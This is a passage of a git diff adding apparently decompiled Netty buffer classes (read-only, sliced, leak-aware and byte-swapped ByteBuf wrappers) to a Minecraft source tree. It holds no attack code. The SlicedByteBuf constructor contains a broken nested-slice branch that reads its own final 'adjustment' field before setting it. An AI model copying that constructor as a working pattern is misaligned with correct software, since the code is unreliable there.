+    setIndex(buffer.readerIndex(), buffer.writerIndex());
+  }
+  
+  public boolean isWritable()
+  {
+    return false;
+  }
+  
+  public boolean isWritable(int numBytes)
+  {
+    return false;
+  }
+  
+  public ByteBuf unwrap()
+  {
+    return buffer;
+  }
+  
+  public ByteBufAllocator alloc()
+  {
+    return buffer.alloc();
+  }
+  
+  public ByteOrder order()
+  {
+    return buffer.order();
+  }
+  
+  public boolean isDirect()
+  {
+    return buffer.isDirect();
+  }
+  
+  public boolean hasArray()
+  {
+    return false;
+  }
+  
+  public byte[] array()
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public int arrayOffset()
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public boolean hasMemoryAddress()
+  {
+    return false;
+  }
+  
+  public long memoryAddress()
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public ByteBuf discardReadBytes()
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src, int srcIndex, int length)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public ByteBuf setBytes(int index, byte[] src, int srcIndex, int length)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuffer src)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public ByteBuf setByte(int index, int value)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  protected void _setByte(int index, int value)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public ByteBuf setShort(int index, int value)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  protected void _setShort(int index, int value)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public ByteBuf setMedium(int index, int value)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  protected void _setMedium(int index, int value)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public ByteBuf setInt(int index, int value)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  protected void _setInt(int index, int value)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public ByteBuf setLong(int index, long value)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  protected void _setLong(int index, long value)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public int setBytes(int index, InputStream in, int length)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public int setBytes(int index, ScatteringByteChannel in, int length)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public int getBytes(int index, GatheringByteChannel out, int length)
+    throws IOException
+  {
+    return buffer.getBytes(index, out, length);
+  }
+  
+  public ByteBuf getBytes(int index, OutputStream out, int length)
+    throws IOException
+  {
+    buffer.getBytes(index, out, length);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, byte[] dst, int dstIndex, int length)
+  {
+    buffer.getBytes(index, dst, dstIndex, length);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst, int dstIndex, int length)
+  {
+    buffer.getBytes(index, dst, dstIndex, length);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuffer dst)
+  {
+    buffer.getBytes(index, dst);
+    return this;
+  }
+  
+  public ByteBuf duplicate()
+  {
+    return new ReadOnlyByteBuf(this);
+  }
+  
+  public ByteBuf copy(int index, int length)
+  {
+    return buffer.copy(index, length);
+  }
+  
+  public ByteBuf slice(int index, int length)
+  {
+    return Unpooled.unmodifiableBuffer(buffer.slice(index, length));
+  }
+  
+  public byte getByte(int index)
+  {
+    return _getByte(index);
+  }
+  
+  protected byte _getByte(int index)
+  {
+    return buffer.getByte(index);
+  }
+  
+  public short getShort(int index)
+  {
+    return _getShort(index);
+  }
+  
+  protected short _getShort(int index)
+  {
+    return buffer.getShort(index);
+  }
+  
+  public int getUnsignedMedium(int index)
+  {
+    return _getUnsignedMedium(index);
+  }
+  
+  protected int _getUnsignedMedium(int index)
+  {
+    return buffer.getUnsignedMedium(index);
+  }
+  
+  public int getInt(int index)
+  {
+    return _getInt(index);
+  }
+  
+  protected int _getInt(int index)
+  {
+    return buffer.getInt(index);
+  }
+  
+  public long getLong(int index)
+  {
+    return _getLong(index);
+  }
+  
+  protected long _getLong(int index)
+  {
+    return buffer.getLong(index);
+  }
+  
+  public int nioBufferCount()
+  {
+    return buffer.nioBufferCount();
+  }
+  
+  public ByteBuffer nioBuffer(int index, int length)
+  {
+    return buffer.nioBuffer(index, length).asReadOnlyBuffer();
+  }
+  
+  public ByteBuffer[] nioBuffers(int index, int length)
+  {
+    return buffer.nioBuffers(index, length);
+  }
+  
+  public ByteBuffer internalNioBuffer(int index, int length)
+  {
+    return nioBuffer(index, length);
+  }
+  
+  public int forEachByte(int index, int length, ByteBufProcessor processor)
+  {
+    return buffer.forEachByte(index, length, processor);
+  }
+  
+  public int forEachByteDesc(int index, int length, ByteBufProcessor processor)
+  {
+    return buffer.forEachByteDesc(index, length, processor);
+  }
+  
+  public int capacity()
+  {
+    return buffer.capacity();
+  }
+  
+  public ByteBuf capacity(int newCapacity)
+  {
+    throw new ReadOnlyBufferException();
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/ReadOnlyByteBufferBuf.java b/src/minecraft/io/netty/buffer/ReadOnlyByteBufferBuf.java
new file mode 100644
index 0000000..2941b09
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/ReadOnlyByteBufferBuf.java
@@ -0,0 +1,335 @@
+package io.netty.buffer;
+
+import io.netty.util.internal.StringUtil;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.Buffer;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.ReadOnlyBufferException;
+import java.nio.channels.GatheringByteChannel;
+import java.nio.channels.ScatteringByteChannel;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class ReadOnlyByteBufferBuf
+  extends AbstractReferenceCountedByteBuf
+{
+  protected final ByteBuffer buffer;
+  private final ByteBufAllocator allocator;
+  private ByteBuffer tmpNioBuf;
+  
+  ReadOnlyByteBufferBuf(ByteBufAllocator allocator, ByteBuffer buffer)
+  {
+    super(buffer.remaining());
+    if (!buffer.isReadOnly()) {
+      throw new IllegalArgumentException("must be a readonly buffer: " + StringUtil.simpleClassName(buffer));
+    }
+    
+    this.allocator = allocator;
+    this.buffer = buffer.slice().order(ByteOrder.BIG_ENDIAN);
+    writerIndex(this.buffer.limit());
+  }
+  
+
+  protected void deallocate() {}
+  
+  public byte getByte(int index)
+  {
+    ensureAccessible();
+    return _getByte(index);
+  }
+  
+  protected byte _getByte(int index)
+  {
+    return buffer.get(index);
+  }
+  
+  public short getShort(int index)
+  {
+    ensureAccessible();
+    return _getShort(index);
+  }
+  
+  protected short _getShort(int index)
+  {
+    return buffer.getShort(index);
+  }
+  
+  public int getUnsignedMedium(int index)
+  {
+    ensureAccessible();
+    return _getUnsignedMedium(index);
+  }
+  
+  protected int _getUnsignedMedium(int index)
+  {
+    return (getByte(index) & 0xFF) << 16 | (getByte(index + 1) & 0xFF) << 8 | getByte(index + 2) & 0xFF;
+  }
+  
+  public int getInt(int index)
+  {
+    ensureAccessible();
+    return _getInt(index);
+  }
+  
+  protected int _getInt(int index)
+  {
+    return buffer.getInt(index);
+  }
+  
+  public long getLong(int index)
+  {
+    ensureAccessible();
+    return _getLong(index);
+  }
+  
+  protected long _getLong(int index)
+  {
+    return buffer.getLong(index);
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst, int dstIndex, int length)
+  {
+    checkDstIndex(index, length, dstIndex, dst.capacity());
+    if (dst.hasArray()) {
+      getBytes(index, dst.array(), dst.arrayOffset() + dstIndex, length);
+    } else if (dst.nioBufferCount() > 0) {
+      for (ByteBuffer bb : dst.nioBuffers(dstIndex, length)) {
+        int bbLen = bb.remaining();
+        getBytes(index, bb);
+        index += bbLen;
+      }
+    } else {
+      dst.setBytes(dstIndex, this, index, length);
+    }
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, byte[] dst, int dstIndex, int length)
+  {
+    checkDstIndex(index, length, dstIndex, dst.length);
+    
+    if ((dstIndex < 0) || (dstIndex > dst.length - length)) {
+      throw new IndexOutOfBoundsException(String.format("dstIndex: %d, length: %d (expected: range(0, %d))", new Object[] { Integer.valueOf(dstIndex), Integer.valueOf(length), Integer.valueOf(dst.length) }));
+    }
+    
+
+    ByteBuffer tmpBuf = internalNioBuffer();
+    tmpBuf.clear().position(index).limit(index + length);
+    tmpBuf.get(dst, dstIndex, length);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuffer dst)
+  {
+    checkIndex(index);
+    if (dst == null) {
+      throw new NullPointerException("dst");
+    }
+    
+    int bytesToCopy = Math.min(capacity() - index, dst.remaining());
+    ByteBuffer tmpBuf = internalNioBuffer();
+    tmpBuf.clear().position(index).limit(index + bytesToCopy);
+    dst.put(tmpBuf);
+    return this;
+  }
+  
+  protected void _setByte(int index, int value)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  protected void _setShort(int index, int value)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  protected void _setMedium(int index, int value)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  protected void _setInt(int index, int value)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  protected void _setLong(int index, long value)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public int capacity()
+  {
+    return maxCapacity();
+  }
+  
+  public ByteBuf capacity(int newCapacity)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public ByteBufAllocator alloc()
+  {
+    return allocator;
+  }
+  
+  public ByteOrder order()
+  {
+    return ByteOrder.BIG_ENDIAN;
+  }
+  
+  public ByteBuf unwrap()
+  {
+    return null;
+  }
+  
+  public boolean isDirect()
+  {
+    return buffer.isDirect();
+  }
+  
+  public ByteBuf getBytes(int index, OutputStream out, int length) throws IOException
+  {
+    ensureAccessible();
+    if (length == 0) {
+      return this;
+    }
+    
+    if (buffer.hasArray()) {
+      out.write(buffer.array(), index + buffer.arrayOffset(), length);
+    } else {
+      byte[] tmp = new byte[length];
+      ByteBuffer tmpBuf = internalNioBuffer();
+      tmpBuf.clear().position(index);
+      tmpBuf.get(tmp);
+      out.write(tmp);
+    }
+    return this;
+  }
+  
+  public int getBytes(int index, GatheringByteChannel out, int length) throws IOException
+  {
+    ensureAccessible();
+    if (length == 0) {
+      return 0;
+    }
+    
+    ByteBuffer tmpBuf = internalNioBuffer();
+    tmpBuf.clear().position(index).limit(index + length);
+    return out.write(tmpBuf);
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src, int srcIndex, int length)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public ByteBuf setBytes(int index, byte[] src, int srcIndex, int length)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuffer src)
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public int setBytes(int index, InputStream in, int length) throws IOException
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  public int setBytes(int index, ScatteringByteChannel in, int length) throws IOException
+  {
+    throw new ReadOnlyBufferException();
+  }
+  
+  protected final ByteBuffer internalNioBuffer() {
+    ByteBuffer tmpNioBuf = this.tmpNioBuf;
+    if (tmpNioBuf == null) {
+      this.tmpNioBuf = (tmpNioBuf = buffer.duplicate());
+    }
+    return tmpNioBuf;
+  }
+  
+  public ByteBuf copy(int index, int length)
+  {
+    ensureAccessible();
+    ByteBuffer src;
+    try {
+      src = (ByteBuffer)internalNioBuffer().clear().position(index).limit(index + length);
+    } catch (IllegalArgumentException ignored) {
+      throw new IndexOutOfBoundsException("Too many bytes to read - Need " + (index + length));
+    }
+    
+    ByteBuffer dst = ByteBuffer.allocateDirect(length);
+    dst.put(src);
+    dst.order(order());
+    dst.clear();
+    return new UnpooledDirectByteBuf(alloc(), dst, maxCapacity());
+  }
+  
+  public int nioBufferCount()
+  {
+    return 1;
+  }
+  
+  public ByteBuffer[] nioBuffers(int index, int length)
+  {
+    return new ByteBuffer[] { nioBuffer(index, length) };
+  }
+  
+  public ByteBuffer nioBuffer(int index, int length)
+  {
+    return (ByteBuffer)buffer.duplicate().position(index).limit(index + length);
+  }
+  
+  public ByteBuffer internalNioBuffer(int index, int length)
+  {
+    ensureAccessible();
+    return (ByteBuffer)internalNioBuffer().clear().position(index).limit(index + length);
+  }
+  
+  public boolean hasArray()
+  {
+    return buffer.hasArray();
+  }
+  
+  public byte[] array()
+  {
+    return buffer.array();
+  }
+  
+  public int arrayOffset()
+  {
+    return buffer.arrayOffset();
+  }
+  
+  public boolean hasMemoryAddress()
+  {
+    return false;
+  }
+  
+  public long memoryAddress()
+  {
+    throw new UnsupportedOperationException();
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/ReadOnlyUnsafeDirectByteBuf.java b/src/minecraft/io/netty/buffer/ReadOnlyUnsafeDirectByteBuf.java
new file mode 100644
index 0000000..cd69dab
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/ReadOnlyUnsafeDirectByteBuf.java
@@ -0,0 +1,138 @@
+package io.netty.buffer;
+
+import io.netty.util.internal.PlatformDependent;
+import java.nio.Buffer;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class ReadOnlyUnsafeDirectByteBuf
+  extends ReadOnlyByteBufferBuf
+{
+  private static final boolean NATIVE_ORDER = ByteOrder.nativeOrder() == ByteOrder.BIG_ENDIAN;
+  private final long memoryAddress;
+  
+  ReadOnlyUnsafeDirectByteBuf(ByteBufAllocator allocator, ByteBuffer buffer) {
+    super(allocator, buffer);
+    memoryAddress = PlatformDependent.directBufferAddress(buffer);
+  }
+  
+  protected byte _getByte(int index)
+  {
+    return PlatformDependent.getByte(addr(index));
+  }
+  
+  protected short _getShort(int index)
+  {
+    short v = PlatformDependent.getShort(addr(index));
+    return NATIVE_ORDER ? v : Short.reverseBytes(v);
+  }
+  
+  protected int _getUnsignedMedium(int index)
+  {
+    long addr = addr(index);
+    return (PlatformDependent.getByte(addr) & 0xFF) << 16 | (PlatformDependent.getByte(addr + 1L) & 0xFF) << 8 | PlatformDependent.getByte(addr + 2L) & 0xFF;
+  }
+  
+
+
+  protected int _getInt(int index)
+  {
+    int v = PlatformDependent.getInt(addr(index));
+    return NATIVE_ORDER ? v : Integer.reverseBytes(v);
+  }
+  
+  protected long _getLong(int index)
+  {
+    long v = PlatformDependent.getLong(addr(index));
+    return NATIVE_ORDER ? v : Long.reverseBytes(v);
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst, int dstIndex, int length)
+  {
+    checkIndex(index, length);
+    if (dst == null) {
+      throw new NullPointerException("dst");
+    }
+    if ((dstIndex < 0) || (dstIndex > dst.capacity() - length)) {
+      throw new IndexOutOfBoundsException("dstIndex: " + dstIndex);
+    }
+    
+    if (dst.hasMemoryAddress()) {
+      PlatformDependent.copyMemory(addr(index), dst.memoryAddress() + dstIndex, length);
+    } else if (dst.hasArray()) {
+      PlatformDependent.copyMemory(addr(index), dst.array(), dst.arrayOffset() + dstIndex, length);
+    } else {
+      dst.setBytes(dstIndex, this, index, length);
+    }
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, byte[] dst, int dstIndex, int length)
+  {
+    checkIndex(index, length);
+    if (dst == null) {
+      throw new NullPointerException("dst");
+    }
+    if ((dstIndex < 0) || (dstIndex > dst.length - length)) {
+      throw new IndexOutOfBoundsException(String.format("dstIndex: %d, length: %d (expected: range(0, %d))", new Object[] { Integer.valueOf(dstIndex), Integer.valueOf(length), Integer.valueOf(dst.length) }));
+    }
+    
+
+    if (length != 0) {
+      PlatformDependent.copyMemory(addr(index), dst, dstIndex, length);
+    }
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuffer dst)
+  {
+    checkIndex(index);
+    if (dst == null) {
+      throw new NullPointerException("dst");
+    }
+    
+    int bytesToCopy = Math.min(capacity() - index, dst.remaining());
+    ByteBuffer tmpBuf = internalNioBuffer();
+    tmpBuf.clear().position(index).limit(index + bytesToCopy);
+    dst.put(tmpBuf);
+    return this;
+  }
+  
+  public ByteBuf copy(int index, int length)
+  {
+    checkIndex(index, length);
+    ByteBuf copy = alloc().directBuffer(length, maxCapacity());
+    if (length != 0) {
+      if (copy.hasMemoryAddress()) {
+        PlatformDependent.copyMemory(addr(index), copy.memoryAddress(), length);
+        copy.setIndex(0, length);
+      } else {
+        copy.writeBytes(this, index, length);
+      }
+    }
+    return copy;
+  }
+  
+  private long addr(int index) {
+    return memoryAddress + index;
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/SimpleLeakAwareByteBuf.java b/src/minecraft/io/netty/buffer/SimpleLeakAwareByteBuf.java
new file mode 100644
index 0000000..dc85ce4
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/SimpleLeakAwareByteBuf.java
@@ -0,0 +1,79 @@
+package io.netty.buffer;
+
+import io.netty.util.ResourceLeak;
+import java.nio.ByteOrder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class SimpleLeakAwareByteBuf
+  extends WrappedByteBuf
+{
+  private final ResourceLeak leak;
+  
+  SimpleLeakAwareByteBuf(ByteBuf buf, ResourceLeak leak)
+  {
+    super(buf);
+    this.leak = leak;
+  }
+  
+  public boolean release()
+  {
+    boolean deallocated = super.release();
+    if (deallocated) {
+      leak.close();
+    }
+    return deallocated;
+  }
+  
+  public boolean release(int decrement)
+  {
+    boolean deallocated = super.release(decrement);
+    if (deallocated) {
+      leak.close();
+    }
+    return deallocated;
+  }
+  
+  public ByteBuf order(ByteOrder endianness)
+  {
+    leak.record();
+    if (order() == endianness) {
+      return this;
+    }
+    return new SimpleLeakAwareByteBuf(super.order(endianness), leak);
+  }
+  
+
+  public ByteBuf slice()
+  {
+    return new SimpleLeakAwareByteBuf(super.slice(), leak);
+  }
+  
+  public ByteBuf slice(int index, int length)
+  {
+    return new SimpleLeakAwareByteBuf(super.slice(index, length), leak);
+  }
+  
+  public ByteBuf duplicate()
+  {
+    return new SimpleLeakAwareByteBuf(super.duplicate(), leak);
+  }
+  
+  public ByteBuf readSlice(int length)
+  {
+    return new SimpleLeakAwareByteBuf(super.readSlice(length), leak);
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/SimpleLeakAwareCompositeByteBuf.java b/src/minecraft/io/netty/buffer/SimpleLeakAwareCompositeByteBuf.java
new file mode 100644
index 0000000..65706b8
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/SimpleLeakAwareCompositeByteBuf.java
@@ -0,0 +1,104 @@
+package io.netty.buffer;
+
+import io.netty.util.ResourceLeak;
+import java.nio.ByteOrder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class SimpleLeakAwareCompositeByteBuf
+  extends WrappedCompositeByteBuf
+{
+  private final ResourceLeak leak;
+  
+  SimpleLeakAwareCompositeByteBuf(CompositeByteBuf wrapped, ResourceLeak leak)
+  {
+    super(wrapped);
+    this.leak = leak;
+  }
+  
+  public boolean release()
+  {
+    boolean deallocated = super.release();
+    if (deallocated) {
+      leak.close();
+    }
+    return deallocated;
+  }
+  
+  public boolean release(int decrement)
+  {
+    boolean deallocated = super.release(decrement);
+    if (deallocated) {
+      leak.close();
+    }
+    return deallocated;
+  }
+  
+  public ByteBuf order(ByteOrder endianness)
+  {
+    leak.record();
+    if (order() == endianness) {
+      return this;
+    }
+    return new SimpleLeakAwareByteBuf(super.order(endianness), leak);
+  }
+  
+
+  public ByteBuf slice()
+  {
+    return new SimpleLeakAwareByteBuf(super.slice(), leak);
+  }
+  
+  public ByteBuf retainedSlice()
+  {
+    return new SimpleLeakAwareByteBuf(super.retainedSlice(), leak);
+  }
+  
+  public ByteBuf slice(int index, int length)
+  {
+    return new SimpleLeakAwareByteBuf(super.slice(index, length), leak);
+  }
+  
+  public ByteBuf retainedSlice(int index, int length)
+  {
+    return new SimpleLeakAwareByteBuf(super.retainedSlice(index, length), leak);
+  }
+  
+  public ByteBuf duplicate()
+  {
+    return new SimpleLeakAwareByteBuf(super.duplicate(), leak);
+  }
+  
+  public ByteBuf retainedDuplicate()
+  {
+    return new SimpleLeakAwareByteBuf(super.retainedDuplicate(), leak);
+  }
+  
+  public ByteBuf readSlice(int length)
+  {
+    return new SimpleLeakAwareByteBuf(super.readSlice(length), leak);
+  }
+  
+  public ByteBuf readRetainedSlice(int length)
+  {
+    return new SimpleLeakAwareByteBuf(super.readRetainedSlice(length), leak);
+  }
+  
+  public ByteBuf asReadOnly()
+  {
+    return new SimpleLeakAwareByteBuf(super.asReadOnly(), leak);
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/SlicedByteBuf.java b/src/minecraft/io/netty/buffer/SlicedByteBuf.java
new file mode 100644
index 0000000..61a7175
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/SlicedByteBuf.java
@@ -0,0 +1,295 @@
+package io.netty.buffer;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.channels.GatheringByteChannel;
+import java.nio.channels.ScatteringByteChannel;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SlicedByteBuf
+  extends AbstractDerivedByteBuf
+{
+  private final ByteBuf buffer;
+  private final int adjustment;
+  private final int length;
+  
+  public SlicedByteBuf(ByteBuf buffer, int index, int length)
+  {
+    super(length);
+    if ((index < 0) || (index > buffer.capacity() - length)) {
+      throw new IndexOutOfBoundsException(buffer + ".slice(" + index + ", " + length + ')');
+    }
+    
+    if ((buffer instanceof SlicedByteBuf)) {
+      this.buffer = buffer;
+      adjustment = (adjustment + index);
+    } else if ((buffer instanceof DuplicatedByteBuf)) {
+      this.buffer = buffer.unwrap();
+      adjustment = index;
+    } else {
+      this.buffer = buffer;
+      adjustment = index;
+    }
+    this.length = length;
+    
+    writerIndex(length);
+  }
+  
+  public ByteBuf unwrap()
+  {
+    return buffer;
+  }
+  
+  public ByteBufAllocator alloc()
+  {
+    return buffer.alloc();
+  }
+  
+  public ByteOrder order()
+  {
+    return buffer.order();
+  }
+  
+  public boolean isDirect()
+  {
+    return buffer.isDirect();
+  }
+  
+  public int capacity()
+  {
+    return length;
+  }
+  
+  public ByteBuf capacity(int newCapacity)
+  {
+    throw new UnsupportedOperationException("sliced buffer");
+  }
+  
+  public boolean hasArray()
+  {
+    return buffer.hasArray();
+  }
+  
+  public byte[] array()
+  {
+    return buffer.array();
+  }
+  
+  public int arrayOffset()
+  {
+    return buffer.arrayOffset() + adjustment;
+  }
+  
+  public boolean hasMemoryAddress()
+  {
+    return buffer.hasMemoryAddress();
+  }
+  
+  public long memoryAddress()
+  {
+    return buffer.memoryAddress() + adjustment;
+  }
+  
+  protected byte _getByte(int index)
+  {
+    return buffer.getByte(index + adjustment);
+  }
+  
+  protected short _getShort(int index)
+  {
+    return buffer.getShort(index + adjustment);
+  }
+  
+  protected int _getUnsignedMedium(int index)
+  {
+    return buffer.getUnsignedMedium(index + adjustment);
+  }
+  
+  protected int _getInt(int index)
+  {
+    return buffer.getInt(index + adjustment);
+  }
+  
+  protected long _getLong(int index)
+  {
+    return buffer.getLong(index + adjustment);
+  }
+  
+  public ByteBuf duplicate()
+  {
+    ByteBuf duplicate = buffer.slice(adjustment, length);
+    duplicate.setIndex(readerIndex(), writerIndex());
+    return duplicate;
+  }
+  
+  public ByteBuf copy(int index, int length)
+  {
+    checkIndex(index, length);
+    return buffer.copy(index + adjustment, length);
+  }
+  
+  public ByteBuf slice(int index, int length)
+  {
+    checkIndex(index, length);
+    if (length == 0) {
+      return Unpooled.EMPTY_BUFFER;
+    }
+    return buffer.slice(index + adjustment, length);
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst, int dstIndex, int length)
+  {
+    checkIndex(index, length);
+    buffer.getBytes(index + adjustment, dst, dstIndex, length);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, byte[] dst, int dstIndex, int length)
+  {
+    checkIndex(index, length);
+    buffer.getBytes(index + adjustment, dst, dstIndex, length);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuffer dst)
+  {
+    checkIndex(index, dst.remaining());
+    buffer.getBytes(index + adjustment, dst);
+    return this;
+  }
+  
+  protected void _setByte(int index, int value)
+  {
+    buffer.setByte(index + adjustment, value);
+  }
+  
+  protected void _setShort(int index, int value)
+  {
+    buffer.setShort(index + adjustment, value);
+  }
+  
+  protected void _setMedium(int index, int value)
+  {
+    buffer.setMedium(index + adjustment, value);
+  }
+  
+  protected void _setInt(int index, int value)
+  {
+    buffer.setInt(index + adjustment, value);
+  }
+  
+  protected void _setLong(int index, long value)
+  {
+    buffer.setLong(index + adjustment, value);
+  }
+  
+  public ByteBuf setBytes(int index, byte[] src, int srcIndex, int length)
+  {
+    checkIndex(index, length);
+    buffer.setBytes(index + adjustment, src, srcIndex, length);
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src, int srcIndex, int length)
+  {
+    checkIndex(index, length);
+    buffer.setBytes(index + adjustment, src, srcIndex, length);
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuffer src)
+  {
+    checkIndex(index, src.remaining());
+    buffer.setBytes(index + adjustment, src);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, OutputStream out, int length) throws IOException
+  {
+    checkIndex(index, length);
+    buffer.getBytes(index + adjustment, out, length);
+    return this;
+  }
+  
+  public int getBytes(int index, GatheringByteChannel out, int length) throws IOException
+  {
+    checkIndex(index, length);
+    return buffer.getBytes(index + adjustment, out, length);
+  }
+  
+  public int setBytes(int index, InputStream in, int length) throws IOException
+  {
+    checkIndex(index, length);
+    return buffer.setBytes(index + adjustment, in, length);
+  }
+  
+  public int setBytes(int index, ScatteringByteChannel in, int length) throws IOException
+  {
+    checkIndex(index, length);
+    return buffer.setBytes(index + adjustment, in, length);
+  }
+  
+  public int nioBufferCount()
+  {
+    return buffer.nioBufferCount();
+  }
+  
+  public ByteBuffer nioBuffer(int index, int length)
+  {
+    checkIndex(index, length);
+    return buffer.nioBuffer(index + adjustment, length);
+  }
+  
+  public ByteBuffer[] nioBuffers(int index, int length)
+  {
+    checkIndex(index, length);
+    return buffer.nioBuffers(index + adjustment, length);
+  }
+  
+  public ByteBuffer internalNioBuffer(int index, int length)
+  {
+    checkIndex(index, length);
+    return nioBuffer(index, length);
+  }
+  
+  public int forEachByte(int index, int length, ByteBufProcessor processor)
+  {
+    int ret = buffer.forEachByte(index + adjustment, length, processor);
+    if (ret >= adjustment) {
+      return ret - adjustment;
+    }
+    return -1;
+  }
+  
+
+  public int forEachByteDesc(int index, int length, ByteBufProcessor processor)
+  {
+    int ret = buffer.forEachByteDesc(index + adjustment, length, processor);
+    if (ret >= adjustment) {
+      return ret - adjustment;
+    }
+    return -1;
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/SwappedByteBuf.java b/src/minecraft/io/netty/buffer/SwappedByteBuf.java
new file mode 100644
index 0000000..a04c0fd
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/SwappedByteBuf.java
@@ -0,0 +1,852 @@
+package io.netty.buffer;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.channels.GatheringByteChannel;
+import java.nio.channels.ScatteringByteChannel;
+import java.nio.charset.Charset;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SwappedByteBuf
+  extends ByteBuf
+{
+  private final ByteBuf buf;
+  private final ByteOrder order;
+  
+  public SwappedByteBuf(ByteBuf buf)
+  {
+    if (buf == null) {
+      throw new NullPointerException("buf");
+    }
+    this.buf = buf;
+    if (buf.order() == ByteOrder.BIG_ENDIAN) {
+      order = ByteOrder.LITTLE_ENDIAN;
+    } else {
+      order = ByteOrder.BIG_ENDIAN;
+    }
+  }
+  
+  public ByteOrder order()
+  {
+    return order;
+  }
+  
+  public ByteBuf order(ByteOrder endianness)
+  {
+    if (endianness == null) {
+      throw new NullPointerException("endianness");
+    }
+    if (endianness == order) {
+      return this;
+    }
+    return buf;
+  }
+  
+  public ByteBuf unwrap()
+  {
+    return buf.unwrap();
+  }
+  
+  public ByteBufAllocator alloc()
+  {
+    return buf.alloc();
+  }
+  
+  public int capacity()
+  {
+    return buf.capacity();
+  }
+  
+  public ByteBuf capacity(int newCapacity)
+  {
+    buf.capacity(newCapacity);
+    return this;
+  }
+  
+  public int maxCapacity()
+  {
+    return buf.maxCapacity();
+  }
+  
+  public boolean isDirect()
+  {
+    return buf.isDirect();
+  }
+  
+  public int readerIndex()
+  {
+    return buf.readerIndex();
+  }
+  
+  public ByteBuf readerIndex(int readerIndex)
+  {
+    buf.readerIndex(readerIndex);
+    return this;
+  }
+  
+  public int writerIndex()
+  {
+    return buf.writerIndex();
+  }
+  
+  public ByteBuf writerIndex(int writerIndex)
+  {
+    buf.writerIndex(writerIndex);
+    return this;
+  }
+  
+  public ByteBuf setIndex(int readerIndex, int writerIndex)
+  {
+    buf.setIndex(readerIndex, writerIndex);
+    return this;
+  }
+  
+  public int readableBytes()
+  {
+    return buf.readableBytes();
+  }
+  
+  public int writableBytes()
+  {
+    return buf.writableBytes();
+  }
+  
+  public int maxWritableBytes()
+  {
+    return buf.maxWritableBytes();
+  }
+  
+  public boolean isReadable()
+  {
+    return buf.isReadable();
+  }
+  
+  public boolean isReadable(int size)
+  {
+    return buf.isReadable(size);
+  }
+  
+  public boolean isWritable()
+  {
+    return buf.isWritable();
+  }
+  
+  public boolean isWritable(int size)
+  {
+    return buf.isWritable(size);
+  }
+  
